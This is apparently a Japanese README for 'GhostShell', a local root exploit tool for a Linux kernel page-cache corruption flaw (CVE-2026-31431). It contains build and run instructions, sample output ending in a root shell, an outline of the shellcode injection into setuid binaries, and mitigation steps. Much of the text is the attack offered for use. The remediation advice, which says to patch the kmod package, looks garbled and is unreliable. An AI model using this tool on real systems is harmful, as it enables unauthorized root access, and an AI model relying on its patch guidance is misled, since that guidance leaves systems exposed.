
CVE-2026-31431 — Linuxカーネルのページキャッシュ破損によるローカル権限昇格
CVE-2026-31431 — Linuxカーネルのページキャッシュ破壊によるローカル権限昇格
GhostShellは、Linuxカーネルのauthencesn AEAD暗号実装の欠陥を悪用して、非特権ユーザーアカウントからルートシェルを取得するローカル権限昇格ツールです。setuid-rootバイナリ(例:/usr/bin/su)のエントリポイントにシェルコードを仕込み、そのインメモリページキャッシュを破壊してから実行し、setuid(0) + setgid(0)を取得して特権付きの/bin/shを起動します。ディスク上のファイルは変更されず、インメモリのページキャッシュのみが影響を受けます。
要するに:通常ユーザーとして実行すると、ルートシェルに落とされます。
Theori / Xint によって発見・公開されました。詳細な解説: copy.fail
$ ./ghostshell
CVE-2026-31431 'Copy Fail'
Target: /usr/bin/su
Size: 63576 bytes
Entry offset: 0x1a50
Shellcode: 94 bytes (24 iterations)
[*] Checking if kernel is vulnerable...
[+] Kernel IS vulnerable.
[*] Corrupting page cache of /usr/bin/su with shellcode...
[*] Patching offset 0x01a50 (24/24) ...
[*] Verifying page cache corruption...
[+] Shellcode verified in page cache!
[*] Executing corrupted setuid binary...
[*] If successful, you should now have a root shell.
[*] No trace on disk. Only ghosts in the cache.
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#
Linux 4.14(2017年8月)から、2026年4月にパッチが適用されたカーネルまで。
kmodのパッチ適用CVE-2026-31431に対する推奨される修正は、脆弱なauthencesn AEAD暗号モジュールを同梱する**kmodパッケージ**(カーネルモジュールユーティリティ)にパッチを適用することです。インプレースのsplice()復号パスを無効化または修正する更新版パッケージが、主要なディストリビューターからリリースされています。
# 現在のkmodバージョンを確認
modprobe --version
# パッチ適用済みバージョンに更新
sudo apt-get update
sudo apt-get install --only-upgrade kmod
# 更新を確認
modprobe --version
# kmodをパッチ適用済みリリースに更新
sudo dnf update kmod
# 確認
rpm -q kmod
sudo pacman -Syu kmod
kmodにパッチを適用した後、脆弱なauthencesnモジュールがロードできなくなっているか、更新されていることを確認します:
# モジュールのロードを試行 — パッチ適用済みシステムでは失敗するか、修正版が報告されるはず
modinfo authencesn
# または、実行中のカーネルに2026年4月のパッチが含まれているか確認
uname -r # ディストリビューションのパッチ適用済みカーネルバージョン以上である必要があります
すぐにkmodを更新できない場合は、脆弱な暗号モジュールのロードをブロックできます:
# authencesnモジュールをブラックリスト化
echo "install authencesn /bin/true" | sudo tee /etc/modprobe.d/disable-authencesn.conf
# 念のため汎用のauthencモジュールもブラックリスト化
echo "install authenc /bin/true" | sudo tee -a /etc/modprobe.d/disable-authencesn.conf
# 現在ロードされている場合はアンロード(使用中の場合は失敗する可能性あり)
sudo modprobe -r authencesn 2>/dev/null
パッチ適用または回避策の適用後は再起動してください。破損したページキャッシュエントリが確実にクリアされます。
| OS | カーネル |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-22-generic |
⚠️ このエクスプロイトは上記のシステムでのみテストされています。他のディストリビューションやカーネルバージョンでは結果が異なる場合があります。
<linux/if_alg.h>)— 通常linux-libc-devに含まれますUbuntu/Debianでビルド依存関係をインストール:
sudo apt-get update
sudo apt-get install gcc linux-libc-dev
gcc -Wall -Wextra -o ghostshell ghostshell.c
外部ライブラリは不要です。
ターゲットを自動検出(su、sudo、passwdなどの一般的なsetuidバイナリをチェック):
./ghostshell
ターゲットを手動で指定:
./ghostshell /usr/bin/sudo
カーネルが脆弱な場合、ルートシェル(#)に落とされます。
_startエントリポイントのオフセットを特定します。splice()インプレース復号の欠陥を使用して、patch_chunk()呼び出しごとに4バイト(24回の反復)で、エントリポイントに94バイトのx86-64シェルコードを書き込みます。execl()を呼び出します。カーネルはページキャッシュからバイナリをロードし、シェルコードがsetuid-root権限で実行されてルートシェルを起動します。このエクスプロイトはインメモリのページキャッシュのみを破壊します。単純な再起動で完全にクリアされます。
再起動せずにキャッシュをドロップする場合:
sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
ダーティページがディスクに書き戻された場合(可能性は低いですが発生し得ます)、影響を受けるパッケージを再インストールします:
sudo apt-get install --reinstall util-linux # /usr/bin/su用
このツールは教育目的および許可されたセキュリティ研究目的のみで提供されています。所有していない、または明示的なテスト許可を得ていないシステムに対する不正使用は違法です。作者は誤用に対する責任を負いません。
このプロジェクトはMITライセンスの下でライセンスされています。
本ソフトウェアおよび関連ドキュメントファイル(以下「ソフトウェア」)のコピーを取得するすべての人に対し、使用、複製、変更、統合、公開、配布、サブライセンス、および/またはソフトウェアのコピーの販売を含め、制限なくソフトウェアを扱う権利を無償で許可します。また、ソフトウェアが提供されるすべての人に対しても、以下の条件に従うことを条件にこれを許可します。
上記の著作権表示およびこの許可表示は、ソフトウェアのすべてのコピーまたは実質的な部分に含まれるものとします。
本ソフトウェアは「現状のまま」提供され、商品性、特定目的への適合性、および非侵害の保証を含むがこれらに限定されない、明示的または黙示的な種類の保証は一切ありません。いかなる場合も、著者または著作権所有者は、契約行為、不法行為、その他の行為を問わず、ソフトウェアまたはソフトウェアの使用またはその他の取扱いに起因または関連して生じたいかなる請求、損害、その他の責任についても、一切の責任を負いません。